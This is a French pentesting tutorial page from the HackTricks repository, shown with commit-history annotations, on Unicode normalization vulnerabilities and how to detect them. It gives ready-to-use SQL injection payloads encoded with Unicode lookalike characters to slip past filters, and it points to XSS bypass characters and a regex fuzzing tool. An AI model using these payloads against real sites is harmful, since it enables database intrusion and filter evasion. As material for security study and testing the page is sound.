hacktricks/pentesting-web/unicode-injection/unicode-normalization.md

122 lines
9.9 KiB
Markdown
Raw Normal View History

2023-06-03 13:10:46 +00:00
## Normalisation Unicode
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2023-06-03 13:10:46 +00:00
## Contexte
2023-06-03 13:10:46 +00:00
La normalisation garantit que deux chaînes qui peuvent utiliser une représentation binaire différente pour leurs caractères ont la même valeur binaire après normalisation.
2023-06-03 13:10:46 +00:00
Il existe deux types d'équivalence entre les caractères, "**équivalence canonique**" et "**équivalence de compatibilité**":\
Les caractères **canoniquement équivalents** sont supposés avoir la même apparence et la même signification lorsqu'ils sont imprimés ou affichés. L'**équivalence de compatibilité** est une équivalence plus faible, dans la mesure où deux valeurs peuvent représenter le même caractère abstrait mais peuvent être affichées différemment. Il existe **4 algorithmes de normalisation** définis par la norme **Unicode**; **NFC, NFD, NFKD et NFKD**, chacun applique des techniques de normalisation canonique et de compatibilité de manière différente. Vous pouvez en savoir plus sur les différentes techniques sur Unicode.org.
2023-06-03 13:10:46 +00:00
### Encodage Unicode
2023-06-03 13:10:46 +00:00
Bien que Unicode ait été en partie conçu pour résoudre les problèmes d'interopérabilité, l'évolution de la norme, la nécessité de prendre en charge les systèmes hérités et les différentes méthodes d'encodage peuvent encore poser un défi.\
Avant d'aborder les attaques Unicode, voici les points principaux à comprendre sur Unicode :
2023-06-03 13:10:46 +00:00
* Chaque caractère ou symbole est associé à une valeur numérique appelée "point de code".
* La valeur du point de code (et donc le caractère lui-même) est représentée par 1 ou plusieurs octets en mémoire. Les caractères LATIN-1 comme ceux utilisés dans les pays anglophones peuvent être représentés à l'aide d'un octet. D'autres langues ont plus de caractères et ont besoin de plus d'octets pour représenter tous les points de code différents (aussi parce qu'ils ne peuvent pas utiliser ceux déjà pris par LATIN-1).
* Le terme "encodage" signifie la méthode selon laquelle les caractères sont représentés sous forme de série d'octets. La norme d'encodage la plus courante est l'UTF-8, en utilisant ce schéma d'encodage, les caractères ASCII peuvent être représentés à l'aide d'un octet ou jusqu'à 4 octets pour les autres caractères.
* Lorsqu'un système traite des données, il doit connaître l'encodage utilisé pour convertir le flux d'octets en caractères.
* Bien que UTF-8 soit le plus courant, il existe des normes d'encodage similaires nommées UTF-16 et UTF-32, la différence entre chacune étant le nombre d'octets utilisés pour représenter chaque caractère. c'est-à-dire que UTF-16 utilise un minimum de 2 octets (mais jusqu'à 4) et UTF-32 utilise 4 octets pour tous les caractères.
2023-06-03 13:10:46 +00:00
Un exemple de la façon dont Unicode normalise deux octets différents représentant le même caractère :
2022-09-02 10:02:33 +00:00
![](<../../.gitbook/assets/image (156).png>)
2023-06-03 13:10:46 +00:00
**Une liste de caractères équivalents Unicode peut être trouvée ici :** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) et [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table)
2023-06-03 13:10:46 +00:00
### Découverte
2023-06-03 13:10:46 +00:00
Si vous trouvez à l'intérieur d'une application web une valeur qui est renvoyée, vous pouvez essayer d'envoyer **"KELVIN SIGN" (U+0212A)** qui **se normalise en "K"** (vous pouvez l'envoyer sous forme de `%e2%84%aa`). **Si un "K" est renvoyé**, alors, une sorte de **normalisation Unicode** est effectuée.
2023-06-03 13:10:46 +00:00
Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` après **normalisation Unicode** est `Leonishan`.
2023-06-03 13:10:46 +00:00
## Exemples de vulnérabilités
2023-06-03 13:10:46 +00:00
### Contournement du filtre d'injection SQL
2023-06-03 13:10:46 +00:00
Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée utilisateur. Cette page web, en tant que mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée utilisateur, mais **après cette suppression** et **avant la création** de la requête, elle **normalise** en utilisant **Unicode** l'entrée de l'utilisateur.
2023-06-03 13:10:46 +00:00
Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, une apostrophe est créée et une **vulnérabilité d'injection SQL** apparaît :
2022-09-02 10:02:33 +00:00
![](<../../.gitbook/assets/image (157) (1).png>)
2023-06-03 13:10:46 +00:00
**Quelques caractères Unicode intéressants**
* `o` -- %e1%b4%bc
* `r` -- %e1%b4%bf
* `1` -- %c2%b9
* `=` -- %e2%81%bc
* `/` -- %ef%bc%8f
2022-04-06 08:57:29 +00:00
* `-`-- %ef%b9%a3
* `#`-- %ef%b9%9f
* `*`-- %ef%b9%a1
* `'` -- %ef%bc%87
* `"` -- %ef%bc%82
* `|` -- %ef%bd%9c
```
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
```
2023-06-03 13:10:46 +00:00
#### Modèle sqlmap
2022-10-16 14:05:57 +00:00
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
2022-05-01 13:25:53 +00:00
### XSS (Cross Site Scripting)
2023-06-03 13:10:46 +00:00
Vous pouvez utiliser l'un des caractères suivants pour tromper l'application web et exploiter une XSS :
![](<../../.gitbook/assets/image (312) (1).png>)
2023-06-03 13:10:46 +00:00
Remarquez que, par exemple, le premier caractère Unicode proposé peut être envoyé sous la forme de : `%e2%89%ae` ou `%u226e`
![](<../../.gitbook/assets/image (215) (1).png>)
2022-12-05 11:09:36 +00:00
### Fuzzing Regexes
2023-06-03 13:10:46 +00:00
Lorsque le backend vérifie l'entrée utilisateur avec une regex, il est possible que l'entrée soit normalisée pour la regex mais pas pour l'endroit où elle est utilisée. Par exemple, dans une redirection ou SSRF ouverte, la regex peut normaliser l'URL envoyée mais y accéder telle quelle.
2022-12-05 11:09:36 +00:00
2023-06-03 13:10:46 +00:00
L'outil [**recollapse**](https://github.com/0xacb/recollapse) permet de générer des variations de l'entrée pour fuzz le backend. Pour plus d'informations, consultez le github et ce [post](https://0xacb.com/2022/11/21/recollapse/).
2022-12-05 11:09:36 +00:00
2023-06-03 13:10:46 +00:00
## Références
2023-06-03 13:10:46 +00:00
**Toutes les informations de cette page ont été prises sur :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
2023-06-03 13:10:46 +00:00
**Autres références :**
2022-04-05 22:24:52 +00:00
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
* Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>